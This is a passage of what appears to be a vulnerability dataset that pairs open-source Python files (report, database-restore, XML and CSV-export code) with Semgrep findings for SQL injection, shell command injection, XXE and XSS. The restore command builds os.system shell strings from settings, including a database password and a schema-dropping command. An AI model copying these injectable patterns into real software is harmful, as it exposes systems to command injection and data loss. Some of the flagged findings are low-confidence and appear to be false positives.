"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | size_prediction.py | /pycrunch_trace/events/size_prediction.py | lixinli123/pycrunch-trace | MIT | |
2024-11-18T19:58:33.954974+00:00 | 1,497,250,589,000 | fcba0f309089a958250921246ebdfc0fa1993691 | 3 | {
"blob_id": "fcba0f309089a958250921246ebdfc0fa1993691",
"branch_name": "refs/heads/master",
"committer_date": 1497250589000,
"content_id": "ca52a08e7fcae2d3c3ce178b5f1fa424e074ec88",
"detected_licenses": [
"MIT"
],
"directory_id": "a431bbe8e9078119316a909d1df6cbb2d3d77067",
"extension": "py",
"filename": "reports.py",
"fork_events_count": 3,
"gha_created_at": 1315080927000,
"gha_event_created_at": 1497250590000,
"gha_language": "Objective-C",
"gha_license_id": null,
"github_id": 2320526,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3581,
"license": "MIT",
"license_type": "permissive",
"path": "/reporter/timesuck/reports.py",
"provenance": "stack-edu-0054.json.gz:569712",
"repo_name": "kyleconroy/timesuck",
"revision_date": 1497250589000,
"revision_id": "1c5ea1a4fd7fbbf90247a5c92d160a790ea1767c",
"snapshot_id": "e4a15e66621f3ce8ccfed6c28340f81212c46be1",
"src_encoding": "UTF-8",
"star_events_count": 6,
"url": "https://raw.githubusercontent.com/kyleconroy/timesuck/1c5ea1a4fd7fbbf90247a5c92d160a790ea1767c/reporter/timesuck/reports.py",
"visit_date": "2021-05-16T02:09:13.724149"
} | 2.765625 | stackv2 | import argparse
import timesuck
from collections import namedtuple
from datetime import date, datetime, timedelta, time
class Report(object):
def __init__(self, ranges, db, type=None, minlength=None):
"""db is sqlite3 db connection"""
self.db = db
self.type = type
self.ranges = ranges
self.minlength = minlength
def results(self, start, end):
query = ('SELECT type, name, start as "[timestamp]",'
'end as "[timestamp]", duration FROM logs')
result = {
"website": {},
"application": {},
"system": {},
}
if self.type:
self.db.execute(query + (' WHERE type=? AND start >= ? AND '
'end <= ? ORDER BY start'),
(self.type, start, end))
else:
self.db.execute(query + ' WHERE start >= ? AND end <= ? ORDER BY start',
(start, end))
for ltype, name, start, end, length in self.db:
container = result[ltype]
container[name] = container.get(name, 0) + length
for (ltype, kinds) in result.iteritems():
result[ltype] = sorted(kinds.items(), key=lambda x: x[1], reverse=True)
return result
def entries(self):
return [(start, end, self.results(start, end)) for start, end in self.ranges]
def show(self):
for (start_date, end_date, results) in self.entries():
print
print "Logs on {} - {}".format(start_date, end_date)
print "=" * 50
print
for (ltype, kinds) in results.iteritems():
if self.type and self.type != ltype:
continue
if not kinds:
continue
print ltype.title()
print "=" * 50
for (name, duration) in kinds:
if "Shockwave Flash" in name:
continue
if duration < self.minlength * 60:
continue
print "{:30} {}".format(name, timedelta(seconds=duration))
print
class ColumnReport(Report):
def show(self):
entries = self.entries()
rows = {
"application": {},
"website": {},
"system": {},
}
for (start_date, end_date, results) in entries:
for (ltype, kinds) in results.iteritems():
if self.type and self.type != ltype:
continue
for (name, duration) in kinds:
if "Shockwave Flash" in name:
continue
if name not in rows[ltype]:
rows[ltype][name] = {}
if duration < self.minlength * 60:
continue
rows[ltype][name][start_date] = timedelta(seconds=duration)
for (ltype, names) in rows.iteritems():
if self.type and self.type != ltype:
continue
names = sorted(names.keys())
print ''.join([n.ljust(30) for n in ["Date"] + names])
for (start_date, end_date, _) in entries:
results = []
for name in names:
results.append(rows[ltype][name].get(start_date, timedelta(seconds=0)))
row = [str(start_date)] + [str(x) for x in results]
print ''.join([n.ljust(30) for n in row])
| 117 | 29.61 | 91 | 20 | 743 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_976c1bc38dfe9fdb_1c6f1d82", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 29, "column_start": 13, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/976c1bc38dfe9fdb.py", "start": {"line": 27, "col": 13, "offset": 673}, "end": {"line": 29, "col": 53, "offset": 851}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_976c1bc38dfe9fdb_d194d97d", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 32, "column_start": 13, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/976c1bc38dfe9fdb.py", "start": {"line": 31, "col": 13, "offset": 878}, "end": {"line": 32, "col": 42, "offset": 992}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-89",
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
27,
31
] | [
29,
32
] | [
13,
13
] | [
53,
42
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | reports.py | /reporter/timesuck/reports.py | kyleconroy/timesuck | MIT | |
2024-11-18T19:58:34.309646+00:00 | 1,311,309,595,000 | ab3a5b71ff0e56bebe089a810373358f5ba302ee | 2 | {
"blob_id": "ab3a5b71ff0e56bebe089a810373358f5ba302ee",
"branch_name": "refs/heads/master",
"committer_date": 1314040997000,
"content_id": "aa1119f31be67532371048cc59ba5a65d6a5bdbf",
"detected_licenses": [
"MIT"
],
"directory_id": "4c965d1a5d94d72e966bc48faba52f2ad8da8cc3",
"extension": "py",
"filename": "restoredb.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 1561301,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2222,
"license": "MIT",
"license_type": "permissive",
"path": "/django_extensions/management/commands/restoredb.py",
"provenance": "stack-edu-0054.json.gz:569717",
"repo_name": "easel/django-extensions",
"revision_date": 1311309595000,
"revision_id": "a82e03a449a35d6b7edccc1c61a7f72ea7edb883",
"snapshot_id": "e9565ed65a8fdb549fb295cfde1dfc629d7df763",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/easel/django-extensions/a82e03a449a35d6b7edccc1c61a7f72ea7edb883/django_extensions/management/commands/restoredb.py",
"visit_date": "2021-01-18T06:06:55.219888"
} | 2.3125 | stackv2 | __author__ = 'erik'
"""
Command for restoring a database
"""
import os, time
from django.core.management.base import BaseCommand
class Command(BaseCommand):
help = "Backup database. Only Mysql and Postgresql engines are implemented"
def handle(self, *args, **options):
from django.db import connection
from ... import settings
infile = os.path.join(settings.BACKUP_LOCATION, "%s.sql" %(settings.BACKUP_BASENAME))
if not settings.RESTORE_ENABLED:
print 'restore not enabled, set settings.EXTENSIONS_RESTORE_ENABLED=True to enable'
elif 'mysql' in settings.DB_ENGINE:
print 'Doing Mysql restore of database %s from %s' % (settings.DB_NAME, infile)
self.do_mysql_restore(infile)
elif 'postgres' in settings.DB_ENGINE:
print 'Doing Postgresql restore of database %s from %s' % (settings.DB_NAME, infile)
self.do_postgresql_restore(infile)
else:
print 'Backup in %s engine not implemented' % settings.DB_ENGINE
def do_mysql_restore(self, infile):
from ... import settings
args = []
if settings.DB_USER:
args += ["--user=%s" % settings.DB_USER]
if settings.DB_PASSWD:
args += ["--password=%s" % settings.DB_PASSWD]
if settings.DB_HOST:
args += ["--host=%s" % settings.DB_HOST]
if settings.DB_PORT:
args += ["--port=%s" % settings.DB_PORT]
args += [settings.DB_NAME]
os.system('mysql %s < %s' % (' '.join(args), infile))
def do_postgresql_restore(self, infile):
from ... import settings
args = []
if settings.DB_USER:
args += ["--username=%s" % settings.DB_USER]
if settings.DB_HOST:
args += ["--host=%s" % settings.DB_HOST]
if settings.DB_PORT:
args += ["--port=%s" % settings.DB_PORT]
if settings.DB_NAME:
args += [settings.DB_NAME]
os.system('PGPASSWORD=%s psql -c "drop schema public cascade; create schema public;" %s' % (settings.DB_PASSWD, ' '.join(args)))
os.system('PGPASSWORD=%s psql %s < %s' % (settings.DB_PASSWD, ' '.join(args), infile))
| 57 | 37.98 | 136 | 14 | 514 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_caecaae6a21961cb_c27287dd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 43, "line_end": 43, "column_start": 9, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/caecaae6a21961cb.py", "start": {"line": 43, "col": 9, "offset": 1521}, "end": {"line": 43, "col": 62, "offset": 1574}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_caecaae6a21961cb_7a0d42b7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 9, "column_end": 137, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/caecaae6a21961cb.py", "start": {"line": 56, "col": 9, "offset": 1998}, "end": {"line": 56, "col": 137, "offset": 2126}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_caecaae6a21961cb_12b6cbe6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 9, "column_end": 95, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/caecaae6a21961cb.py", "start": {"line": 57, "col": 9, "offset": 2135}, "end": {"line": 57, "col": 95, "offset": 2221}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH"
] | [
43,
56,
57
] | [
43,
56,
57
] | [
9,
9,
9
] | [
62,
137,
95
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found dynamic conte... | [
7.5,
7.5,
7.5
] | [
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH"
] | restoredb.py | /django_extensions/management/commands/restoredb.py | easel/django-extensions | MIT | |
2024-11-18T19:58:34.409911+00:00 | 1,422,019,134,000 | f114c86ae27ba02d532dc6de403bec9eb123d666 | 3 | {
"blob_id": "f114c86ae27ba02d532dc6de403bec9eb123d666",
"branch_name": "refs/heads/master",
"committer_date": 1422019134000,
"content_id": "af5530cd1c47a754dade34f5cc224f2879d004ed",
"detected_licenses": [
"MIT"
],
"directory_id": "a0766da72b6db4c04f986ca3fcec9a525dcac141",
"extension": "py",
"filename": "composition.py",
"fork_events_count": 0,
"gha_created_at": 1430989985000,
"gha_event_created_at": 1430989985000,
"gha_language": null,
"gha_license_id": null,
"github_id": 35210367,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2373,
"license": "MIT",
"license_type": "permissive",
"path": "/pyhmsa/fileformat/xmlhandler/condition/composition.py",
"provenance": "stack-edu-0054.json.gz:569719",
"repo_name": "gitter-badger/pyhmsa",
"revision_date": 1422019134000,
"revision_id": "ebdff466dea6610a9c4893fa389a3ac25f308f3f",
"snapshot_id": "e9534a013395ddd8df2a0ebe9c8f38bcabd9e6e3",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/gitter-badger/pyhmsa/ebdff466dea6610a9c4893fa389a3ac25f308f3f/pyhmsa/fileformat/xmlhandler/condition/composition.py",
"visit_date": "2020-12-11T07:21:46.395286"
} | 2.671875 | stackv2 | #!/usr/bin/env python
"""
================================================================================
:mod:`composition` -- Composition XML handler
================================================================================
.. module:: composition
:synopsis: Composition XML handler
.. inheritance-diagram:: pyhmsa.fileformat.xmlhandler.condition.composition
"""
# Script information for the file.
__author__ = "Philippe T. Pinard"
__email__ = "philippe.pinard@gmail.com"
__version__ = "0.1"
__copyright__ = "Copyright (c) 2014 Philippe T. Pinard"
__license__ = "GPL v3"
# Standard library modules.
import xml.etree.ElementTree as etree
# Third party modules.
# Local modules.
from pyhmsa.spec.condition.composition import CompositionElemental
from pyhmsa.fileformat.xmlhandler.xmlhandler import _XMLHandler
# Globals and constants variables.
class CompositionElementalXMLHandler(_XMLHandler):
def can_parse(self, element):
return element.tag == 'Composition' and element.get('Class') == 'Elemental'
def parse(self, element):
units = []
tmpcomposition = {}
subelements = element.findall('Element') + element.findall('Components/Element')
for subelement in subelements:
z = int(subelement.attrib['Z'])
value = self._parse_numerical_attribute(subelement)
units.append(value.unit)
tmpcomposition.setdefault(z, value)
# Check units
units = set(units)
if not units:
return None
if len(units) > 1:
raise ValueError('Incompatible unit in composition')
unit = list(units)[0]
composition = CompositionElemental(unit)
composition.update(tmpcomposition)
return composition
def can_convert(self, obj):
return type(obj) is CompositionElemental
def convert(self, obj):
element = etree.Element('Composition', {'Class': 'Elemental'})
subelement = etree.SubElement(element, 'Components')
attrib = type('MockAttribute', (object,), {'xmlname': 'Element'})
for z, fraction in obj.items():
subsubelement = self._convert_numerical_attribute(fraction, attrib)[0]
subsubelement.set('Unit', obj.unit)
subsubelement.set('Z', str(z))
subelement.append(subsubelement)
return element
| 73 | 31.51 | 88 | 14 | 493 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_c2b741883e650953_6c1af3fa", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 1, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/c2b741883e650953.py", "start": {"line": 22, "col": 1, "offset": 617}, "end": {"line": 22, "col": 38, "offset": 654}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
22
] | [
22
] | [
1
] | [
38
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | composition.py | /pyhmsa/fileformat/xmlhandler/condition/composition.py | gitter-badger/pyhmsa | MIT | |
2024-11-18T19:58:37.337218+00:00 | 1,676,139,610,000 | 2bc04b2bcdd726fe206a5b48bbae9788a8d3229e | 2 | {
"blob_id": "2bc04b2bcdd726fe206a5b48bbae9788a8d3229e",
"branch_name": "refs/heads/master",
"committer_date": 1676139610000,
"content_id": "00aa6d1b66c0f649518e62693a9338c7bf69cc70",
"detected_licenses": [
"MIT"
],
"directory_id": "255e19ddc1bcde0d3d4fe70e01cec9bb724979c9",
"extension": "py",
"filename": "snippet.py",
"fork_events_count": 19,
"gha_created_at": 1517501964000,
"gha_event_created_at": 1595733295000,
"gha_language": "Python",
"gha_license_id": null,
"github_id": 119861038,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1150,
"license": "MIT",
"license_type": "permissive",
"path": "/all-gists/1418860/snippet.py",
"provenance": "stack-edu-0054.json.gz:569755",
"repo_name": "gistable/gistable",
"revision_date": 1676139610000,
"revision_id": "665d39a2bd82543d5196555f0801ef8fd4a3ee48",
"snapshot_id": "26c1e909928ec463026811f69b61619b62f14721",
"src_encoding": "UTF-8",
"star_events_count": 76,
"url": "https://raw.githubusercontent.com/gistable/gistable/665d39a2bd82543d5196555f0801ef8fd4a3ee48/all-gists/1418860/snippet.py",
"visit_date": "2023-02-17T21:33:55.558398"
} | 2.359375 | stackv2 | def GenericCSVExport(qs, fields=None):
from django.db.models.loading import get_model
from django.http import HttpResponse, HttpResponseForbidden
from django.template.defaultfilters import slugify
import csv
model = qs.model
response = HttpResponse(mimetype='text/csv')
response['Content-Disposition'] = 'attachment; filename=%s.csv' % slugify(model.__name__)
writer = csv.writer(response)
if fields:
headers = fields
else:
headers = []
for field in model._meta.fields:
headers.append(field.name)
writer.writerow(headers)
for obj in qs:
row = []
for field in headers:
if field in headers:
if '.' in field:
subfields = field.split('.')
val = obj
for subfield in subfields:
val = getattr(val, subfield)
else:
val = getattr(obj, field)
if callable(val):
val = val()
row.append(val)
writer.writerow(row)
return response
| 34 | 32.82 | 93 | 18 | 218 | python | [{"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_4830a9a31a12a595_2a1359cd", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 16, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmpb8jm_z1l/4830a9a31a12a595.py", "start": {"line": 8, "col": 16, "offset": 265}, "end": {"line": 8, "col": 49, "offset": 298}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - 